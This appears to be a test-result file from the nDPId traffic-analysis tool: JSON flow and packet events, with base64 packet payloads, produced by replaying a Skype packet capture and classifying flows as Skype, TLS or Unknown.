+00429{"flow_id":306,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3207,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969790,"pkt_ts_usec":337451,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0on1AAHQGI\/VQDi55wKgBIhE\/w94bo3b1rYyIGYAQ\/0o5yAAAAQEICgADWHA+JMlk"} +00805{"flow_id":23,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3209,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969790,"pkt_ts_usec":765421,"pkt_caplen":343,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":343,"pkt_l4_len":309,"pkt":"PBXCt3IO0NQSxnP1CABFAAFJCU1AADQGY8lsoKouwKgBIgG7wSW4YerhqCbY\/oAYAFMsPwAAAQEICmF6\/gY+JA+bFwMBARBRsIUVtluB28k8lpRnoaHAkgqFggI6iW1s1iUDJUoyhFMxklZ9llYYBlOY86vzIvwmsgRjUNsCClCu3vq26xvnvKL1l3X4lGJq1B\/Sru+DjNBSP9Sky4joZeiKF51XPR6Sihyg1s6lj7+ChEEVUR6K5AciozdcZoNBvhzfY8ZtNcdypLffmc9fw\/YtnKHOTludBcIpTqNjmrnk1FRplFJak83p\/iYITDHQ55PhPFuhWej1qIftKp5wSdQtMUpvDRnO5uBpmAOy8TW548iNK4Sh6X12+Tx1ho4bioOlw4Gzf9OFhfrY2TYCrPeWu8qd+xNK+fGMwT42BNen8wEzXoFhQvgDBWP6qVOXeoDuVvWC7A=="} +00426{"flow_id":23,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3210,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969790,"pkt_ts_usec":765543,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0Ps1AAEAGI17AqAEibKCqLsElAbuoJtj+uGHr9oAQD\/c8OwAAAQEICj4ky+1hev4G"} +01720{"flow_id":23,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3211,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969790,"pkt_ts_usec":768307,"pkt_caplen":1020,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1020,"pkt_l4_len":986,"pkt":"0NQSxnP1PBXCt3IOCABFAAPumhxAAEAGxFTAqAEibKCqLsElAbuoJtj+uGHr9oAYEAARNgAAAQEICj4ky+9hev4GFwMBACBbgSbcJJce+Z904vloqEn8mJlY6mX5v3mDBB37LVF0MRcDAQOQpoP9C65+DCgV2awG59SxQHlmjqPUA\/URESYfcW2pzZmDuOeQStGOEz8Xdy+lJuiMNVfOoHlTzcoRt9dNsYAJFOKprozhUxxq9MX7jRwps+hxCIOsj\/Z\/WBXHH7kbWA3KEIPDGlg5wmKMMIeOuDZER\/JUdbuUaFAaypwOdrYUFrAiOo3xHaFMuHJQRxXKkjJ9taZvN4Wc56eoPZKlfTc14NljJcfSpDOFWBc2roUV5UcGXIZs8y038B\/0vKjnCiX+G8BoLqQIaE+TnqP4vv\/3TlnKy3onbjk8jjMSq1xQUvXjZve9CaN5QJFdh7FMRQi7TdZxDeZIQF\/AobqWQh4QSbr4wZ43KzSZZia2agtKiD6JPk0eXDAinP3ODlli3R3XHhlpdYsb8L9V5zI1xH5do\/bxZpWYp34ykJAa9\/8VE4foYykJijaYsiGgLRXS+I77tNvaLtp2odKrWN\/Dbd7aFDuiqnk1U5EFl3peDYoyMdgSsuGuaSZWJavtjLStOjp63LdRrO5ibBkKpHJfw6T02xpjAytL5fNupRZqn7HCjES0xQcUQ4JYOLSLz0rxGhinhjRCu8ilstAkqYLR1m\/+T3RZhKEhmmiwPCwPKYPpjudr1Tjqbqvkm46q8+HQO4GYQwogW7Gm35+Xvoxqt+y+ZjoZa\/RNUZcuCP+m6SMTG5sWdAnjr\/nXlFWL7W5PzjPitZWUhTwQ53KAVGPjI2l9+nJHq+C4E4Uuo38yQ+Vz1ibqVdJhcHA5QAMECzLfq\/dI8ZzW2xcv4hH0LBlsp6m91U16yVBzyOV\/shhGp9oI+H8QyNsyT7tlB3eEyfq\/IPyzlZCjq9OWeUX0tcW+e22TYykzlaewMwicuDKk+v295awKkA51L6MIZbJp+nykLRvwv4iioI61n+1q2qJRYJCtpZdmYN5lX5CcoMzqhL6WDDj5vylmtmE5JHSCCjfkh89HQsJRTMVuLne8l4ISDRJJzXsWx+y7F+xjdQkT2K\/o4aCsG9hPCevsmirWCPOGsbgIJz+GJsRn6sREBuh3Xyu3SVSjNo8lBi0vRtMR2g9t5+EjMQ2cZXJOCmUACD1HY7Peiu7oDQIYRTfPedb06e9XdoywTRewDQFkBD7Z7wbGzfuax1w8NoyQcfeXMYw7s9Gh7N3Pca3qxsQXr9L2hNNsKwKHsrxNcy43q7CzoktwvWxO2v\/C92U8RdasTrfc8rgV"} +00601{"flow_id":291,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3214,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969790,"pkt_ts_usec":934910,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"0NQSxnP1PBXCt3IOCABFAACwp0FAAEAG\/tTAqAEinTg1L8PWMD5iE\/U4s4ZWnYAYECk9CAAAAQEICj4kzJNiCpP\/ou083U4OUyKG5W39Rls52kHB4seHtGFWOjnxH9vL96zo7s\/hrhePc7yngjP78uPjgBCPNClMUrhUfbjHZM1vl72+27X8ItWoRr+cMWFEKEXMETqEyhRTKZ3N68tnVQztCI2VGGc5XDXqlMlRkcFBPVHkMJHGNR6XiHbo9Q=="} +00418{"flow_id":291,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3220,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969791,"pkt_ts_usec":165736,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAohAhAADMGL5adODUvwKgBIjA+w9azhladAAAAAFAEAAAddgAAAAAAAAAA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3221,"source":"skype.pcap","alias":"nDPId-test","flow_id":312,"flow_packet_id":1,"flow_first_seen":1431969791166,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.53.51","src_port":50145,"dst_port":12350,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":312,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3221,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969791,"pkt_ts_usec":166147,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA8JJAAEAGte\/AqAEinTg1M8PhMD4fbaHhAAAAALAC\/\/\/hugAAAgQFtAEDAwUBAQgKPiTNeQAAAAAEAgAA"} +00438{"flow_id":308,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3222,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969791,"pkt_ts_usec":200362,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8kjpAAEAGtXnAqAEiTsric8PfcYPq0omdOI9v9YAZECqaYQAAAQEICj4kzZsCUMlGXTwVWHHTywE="} +00506{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":226,"flow_packet_id":17,"flow_first_seen":1431969704664,"flow_last_seen":1431969723753,"flow_tot_l4_data_len":803,"flow_min_l4_data_len":20,"flow_max_l4_data_len":119,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.15","src_port":50098,"dst_port":40026,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":226,"flow_packet_id":17,"flow_first_seen":1431969704664,"flow_last_seen":1431969723753,"flow_tot_l4_data_len":803,"flow_min_l4_data_len":20,"flow_max_l4_data_len":119,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.15","src_port":50098,"dst_port":40026,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00522{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":198,"flow_packet_id":17,"flow_first_seen":1431969689470,"flow_last_seen":1431969722520,"flow_tot_l4_data_len":743,"flow_min_l4_data_len":20,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.173","src_port":50074,"dst_port":40003,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00493{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":198,"flow_packet_id":17,"flow_first_seen":1431969689470,"flow_last_seen":1431969722520,"flow_tot_l4_data_len":743,"flow_min_l4_data_len":20,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.173","src_port":50074,"dst_port":40003,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00522{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":204,"flow_packet_id":17,"flow_first_seen":1431969690481,"flow_last_seen":1431969722726,"flow_tot_l4_data_len":754,"flow_min_l4_data_len":20,"flow_max_l4_data_len":102,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.176","src_port":50077,"dst_port":40022,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00493{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":204,"flow_packet_id":17,"flow_first_seen":1431969690481,"flow_last_seen":1431969722726,"flow_tot_l4_data_len":754,"flow_min_l4_data_len":20,"flow_max_l4_data_len":102,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.176","src_port":50077,"dst_port":40022,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00522{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":225,"flow_packet_id":17,"flow_first_seen":1431969704664,"flow_last_seen":1431969722362,"flow_tot_l4_data_len":793,"flow_min_l4_data_len":20,"flow_max_l4_data_len":123,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.176","src_port":50097,"dst_port":40022,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00493{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":225,"flow_packet_id":17,"flow_first_seen":1431969704664,"flow_last_seen":1431969722362,"flow_tot_l4_data_len":793,"flow_min_l4_data_len":20,"flow_max_l4_data_len":123,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.176","src_port":50097,"dst_port":40022,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":311,"flow_packet_id":1,"flow_first_seen":1431969789851,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"224.0.0.251","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00433{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":309,"flow_packet_id":1,"flow_first_seen":1431969789358,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.254","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00514{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":278,"flow_packet_id":19,"flow_first_seen":1431969724570,"flow_last_seen":1431969725166,"flow_tot_l4_data_len":4453,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":234,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"212.161.8.36","src_port":50131,"dst_port":13392,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00494{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":278,"flow_packet_id":19,"flow_first_seen":1431969724570,"flow_last_seen":1431969725166,"flow_tot_l4_data_len":4453,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":234,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"212.161.8.36","src_port":50131,"dst_port":13392,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00506{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":248,"flow_packet_id":15,"flow_first_seen":1431969714398,"flow_last_seen":1431969727593,"flow_tot_l4_data_len":744,"flow_min_l4_data_len":20,"flow_max_l4_data_len":133,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"76.167.161.6","src_port":50112,"dst_port":20274,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":248,"flow_packet_id":15,"flow_first_seen":1431969714398,"flow_last_seen":1431969727593,"flow_tot_l4_data_len":744,"flow_min_l4_data_len":20,"flow_max_l4_data_len":133,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"76.167.161.6","src_port":50112,"dst_port":20274,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00522{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":265,"flow_packet_id":10,"flow_first_seen":1431969717949,"flow_last_seen":1431969723488,"flow_tot_l4_data_len":417,"flow_min_l4_data_len":20,"flow_max_l4_data_len":132,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.218.125","src_port":50125,"dst_port":12350,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00493{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":265,"flow_packet_id":10,"flow_first_seen":1431969717949,"flow_last_seen":1431969723488,"flow_tot_l4_data_len":417,"flow_min_l4_data_len":20,"flow_max_l4_data_len":132,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.218.125","src_port":50125,"dst_port":12350,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":270,"flow_packet_id":10,"flow_first_seen":1431969719561,"flow_last_seen":1431969727878,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":20,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.218.125","src_port":50129,"dst_port":12350,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":270,"flow_packet_id":10,"flow_first_seen":1431969719561,"flow_last_seen":1431969727878,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":20,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.218.125","src_port":50129,"dst_port":12350,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":307,"flow_packet_id":1,"flow_first_seen":1431969788519,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00505{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":262,"flow_packet_id":18,"flow_first_seen":1431969717177,"flow_last_seen":1431969730486,"flow_tot_l4_data_len":894,"flow_min_l4_data_len":20,"flow_max_l4_data_len":127,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"80.14.46.121","src_port":50123,"dst_port":4415,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":262,"flow_packet_id":18,"flow_first_seen":1431969717177,"flow_last_seen":1431969730486,"flow_tot_l4_data_len":894,"flow_min_l4_data_len":20,"flow_max_l4_data_len":127,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"80.14.46.121","src_port":50123,"dst_port":4415,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00506{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":252,"flow_packet_id":19,"flow_first_seen":1431969714902,"flow_last_seen":1431969731550,"flow_tot_l4_data_len":864,"flow_min_l4_data_len":20,"flow_max_l4_data_len":128,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"81.83.77.141","src_port":50116,"dst_port":17639,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":252,"flow_packet_id":19,"flow_first_seen":1431969714902,"flow_last_seen":1431969731550,"flow_tot_l4_data_len":864,"flow_min_l4_data_len":20,"flow_max_l4_data_len":128,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"81.83.77.141","src_port":50116,"dst_port":17639,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00505{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":251,"flow_packet_id":17,"flow_first_seen":1431969714399,"flow_last_seen":1431969726002,"flow_tot_l4_data_len":808,"flow_min_l4_data_len":20,"flow_max_l4_data_len":121,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"86.31.35.30","src_port":50115,"dst_port":59621,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":251,"flow_packet_id":17,"flow_first_seen":1431969714399,"flow_last_seen":1431969726002,"flow_tot_l4_data_len":808,"flow_min_l4_data_len":20,"flow_max_l4_data_len":121,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"86.31.35.30","src_port":50115,"dst_port":59621,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00505{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":227,"flow_packet_id":16,"flow_first_seen":1431969705713,"flow_last_seen":1431969723790,"flow_tot_l4_data_len":811,"flow_min_l4_data_len":20,"flow_max_l4_data_len":140,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.166","src_port":50099,"dst_port":40022,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":227,"flow_packet_id":16,"flow_first_seen":1431969705713,"flow_last_seen":1431969723790,"flow_tot_l4_data_len":811,"flow_min_l4_data_len":20,"flow_max_l4_data_len":140,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.166","src_port":50099,"dst_port":40022,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00522{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":217,"flow_packet_id":18,"flow_first_seen":1431969697530,"flow_last_seen":1431969725781,"flow_tot_l4_data_len":782,"flow_min_l4_data_len":20,"flow_max_l4_data_len":109,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.146","src_port":50088,"dst_port":33033,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00493{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":217,"flow_packet_id":18,"flow_first_seen":1431969697530,"flow_last_seen":1431969725781,"flow_tot_l4_data_len":782,"flow_min_l4_data_len":20,"flow_max_l4_data_len":109,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.146","src_port":50088,"dst_port":33033,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":312,"flow_packet_id":1,"flow_first_seen":1431969791166,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.53.51","src_port":50145,"dst_port":12350,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":312,"flow_packet_id":1,"flow_first_seen":1431969791166,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.53.51","src_port":50145,"dst_port":12350,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00506{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":250,"flow_packet_id":18,"flow_first_seen":1431969714398,"flow_last_seen":1431969731992,"flow_tot_l4_data_len":790,"flow_min_l4_data_len":20,"flow_max_l4_data_len":92,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"5.248.186.221","src_port":50114,"dst_port":31010,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":250,"flow_packet_id":18,"flow_first_seen":1431969714398,"flow_last_seen":1431969731992,"flow_tot_l4_data_len":790,"flow_min_l4_data_len":20,"flow_max_l4_data_len":92,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"5.248.186.221","src_port":50114,"dst_port":31010,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":221,"flow_packet_id":16,"flow_first_seen":1431969699142,"flow_last_seen":1431969728419,"flow_tot_l4_data_len":1204,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":75,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.146","src_port":50091,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":221,"flow_packet_id":16,"flow_first_seen":1431969699142,"flow_last_seen":1431969728419,"flow_tot_l4_data_len":1204,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":75,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.146","src_port":50091,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":229,"flow_packet_id":15,"flow_first_seen":1431969706277,"flow_last_seen":1431969723613,"flow_tot_l4_data_len":1080,"flow_min_l4_data_len":20,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":72,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.176","src_port":50101,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":229,"flow_packet_id":15,"flow_first_seen":1431969706277,"flow_last_seen":1431969723613,"flow_tot_l4_data_len":1080,"flow_min_l4_data_len":20,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":72,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.176","src_port":50101,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00522{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":215,"flow_packet_id":16,"flow_first_seen":1431969695483,"flow_last_seen":1431969723584,"flow_tot_l4_data_len":726,"flow_min_l4_data_len":20,"flow_max_l4_data_len":115,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.142","src_port":50086,"dst_port":40023,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00493{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":215,"flow_packet_id":16,"flow_first_seen":1431969695483,"flow_last_seen":1431969723584,"flow_tot_l4_data_len":726,"flow_min_l4_data_len":20,"flow_max_l4_data_len":115,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.142","src_port":50086,"dst_port":40023,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 